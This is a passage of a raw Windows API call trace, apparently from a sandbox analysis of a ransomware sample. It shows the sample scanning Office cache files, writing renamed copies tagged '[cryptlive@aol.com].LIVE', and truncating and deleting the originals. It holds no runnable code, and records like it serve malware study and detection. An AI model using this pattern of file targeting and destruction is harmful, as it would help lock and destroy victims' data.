[0046.072] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.072] lstrlenW (lpString=".7z") returned 3 [0046.072] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.072] lstrlenW (lpString=".dbf") returned 4 [0046.072] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.072] lstrlenW (lpString=".1cd") returned 4 [0046.072] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.072] lstrlenW (lpString=".jpg") returned 4 [0046.072] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.072] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0046.072] lstrlenW (lpString="dwdcw20.dll") returned 11 [0046.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.147] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=526176) returned 1 [0046.147] CloseHandle (hObject=0x180) returned 1 [0046.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0046.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.148] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.148] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.148] GetLastError () returned 0x0 [0046.148] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x80760, lpOverlapped=0x0) returned 1 [0046.215] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0046.228] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.228] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.228] SetEndOfFile (hFile=0x1e0) returned 1 [0046.228] CloseHandle (hObject=0x1e0) returned 1 [0046.233] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.233] SetEndOfFile (hFile=0x180) returned 1 [0046.239] CloseHandle (hObject=0x180) returned 1 [0046.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0046.239] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0046.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.239] lstrlenW (lpString=".doc") returned 4 [0046.239] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.239] lstrlenW (lpString=".docx") returned 5 [0046.239] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.239] lstrlenW (lpString=".pdf") returned 4 [0046.239] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.239] lstrlenW (lpString=".xls") returned 4 [0046.239] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".xlsx") returned 5 [0046.240] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.240] lstrlenW (lpString=".ppt") returned 4 [0046.240] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString=".zip") returned 4 [0046.240] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".rar") returned 4 [0046.240] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".bz2") returned 4 [0046.240] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.240] lstrlenW (lpString=".7z") returned 3 [0046.240] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString=".dbf") returned 4 [0046.240] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString=".1cd") returned 4 [0046.240] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString=".jpg") returned 4 [0046.240] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.240] lstrlenW (lpString=".doc") returned 4 [0046.240] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".docx") returned 5 [0046.240] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0046.240] lstrlenW (lpString=".pdf") returned 4 [0046.240] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".xls") returned 4 [0046.240] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.240] lstrlenW (lpString=".xlsx") returned 5 [0046.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0046.241] lstrlenW (lpString=".ppt") returned 4 [0046.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.241] lstrlenW (lpString=".zip") returned 4 [0046.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.241] lstrlenW (lpString=".rar") returned 4 [0046.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.241] lstrlenW (lpString=".bz2") returned 4 [0046.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.242] lstrlenW (lpString=".7z") returned 3 [0046.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.242] lstrlenW (lpString=".dbf") returned 4 [0046.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.242] lstrlenW (lpString=".1cd") returned 4 [0046.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0046.242] lstrlenW (lpString=".jpg") returned 4 [0046.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.242] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0046.242] lstrlenW (lpString="dwtrig20.exe") returned 12 [0046.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.242] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=519584) returned 1 [0046.242] CloseHandle (hObject=0x180) returned 1 [0046.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0046.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.243] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.243] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.849] GetLastError () returned 0x0 [0046.849] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0046.860] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0046.868] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.868] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.868] SetEndOfFile (hFile=0x1bc) returned 1 [0046.869] CloseHandle (hObject=0x1bc) returned 1 [0046.875] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.875] SetEndOfFile (hFile=0x180) returned 1 [0046.879] CloseHandle (hObject=0x180) returned 1 [0046.879] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0046.879] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0046.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.879] lstrlenW (lpString=".doc") returned 4 [0046.879] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.879] lstrlenW (lpString=".docx") returned 5 [0046.879] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0046.880] lstrlenW (lpString=".pdf") returned 4 [0046.880] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString=".xls") returned 4 [0046.880] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString=".xlsx") returned 5 [0046.880] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0046.880] lstrlenW (lpString=".ppt") returned 4 [0046.880] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString=".zip") returned 4 [0046.880] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString=".rar") returned 4 [0046.880] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString=".bz2") returned 4 [0046.880] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.880] lstrlenW (lpString=".7z") returned 3 [0046.880] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString=".dbf") returned 4 [0046.880] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString=".1cd") returned 4 [0046.880] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString=".jpg") returned 4 [0046.880] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.880] lstrlenW (lpString=".doc") returned 4 [0046.880] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.880] lstrlenW (lpString=".docx") returned 5 [0046.880] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0046.880] lstrlenW (lpString=".pdf") returned 4 [0046.880] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.881] lstrlenW (lpString=".xls") returned 4 [0046.881] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.881] lstrlenW (lpString=".xlsx") returned 5 [0046.881] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0046.881] lstrlenW (lpString=".ppt") returned 4 [0046.881] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.881] lstrlenW (lpString=".zip") returned 4 [0046.881] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.881] lstrlenW (lpString=".rar") returned 4 [0046.881] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.881] lstrlenW (lpString=".bz2") returned 4 [0046.881] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.881] lstrlenW (lpString=".7z") returned 3 [0046.881] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.881] lstrlenW (lpString=".dbf") returned 4 [0046.881] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.881] lstrlenW (lpString=".1cd") returned 4 [0046.881] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0046.881] lstrlenW (lpString=".jpg") returned 4 [0046.881] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.881] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0046.881] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0046.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.882] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=868864) returned 1 [0046.882] CloseHandle (hObject=0x180) returned 1 [0046.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0046.882] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0046.882] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.882] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.882] GetLastError () returned 0x0 [0046.882] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0047.234] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0047.252] ReadFile (in: hFile=0x180, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.252] WriteFile (in: hFile=0x1bc, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.253] SetEndOfFile (hFile=0x1bc) returned 1 [0047.253] CloseHandle (hObject=0x1bc) returned 1 [0047.261] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.261] SetEndOfFile (hFile=0x180) returned 1 [0047.268] CloseHandle (hObject=0x180) returned 1 [0047.268] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0047.268] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString=".doc") returned 4 [0047.269] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.269] lstrlenW (lpString=".docx") returned 5 [0047.269] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.269] lstrlenW (lpString=".pdf") returned 4 [0047.269] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.269] lstrlenW (lpString=".xls") returned 4 [0047.269] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.269] lstrlenW (lpString=".xlsx") returned 5 [0047.269] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.269] lstrlenW (lpString=".ppt") returned 4 [0047.269] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString=".zip") returned 4 [0047.269] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.269] lstrlenW (lpString=".rar") returned 4 [0047.269] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.269] lstrlenW (lpString=".bz2") returned 4 [0047.269] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.269] lstrlenW (lpString=".7z") returned 3 [0047.269] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString=".dbf") returned 4 [0047.269] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString=".1cd") returned 4 [0047.269] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.269] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.269] lstrlenW (lpString=".jpg") returned 4 [0047.270] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.270] lstrlenW (lpString=".doc") returned 4 [0047.270] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.270] lstrlenW (lpString=".docx") returned 5 [0047.270] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.270] lstrlenW (lpString=".pdf") returned 4 [0047.270] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.270] lstrlenW (lpString=".xls") returned 4 [0047.270] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.270] lstrlenW (lpString=".xlsx") returned 5 [0047.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.270] lstrlenW (lpString=".ppt") returned 4 [0047.270] lstrcmpiW (lpString1=".ppt", 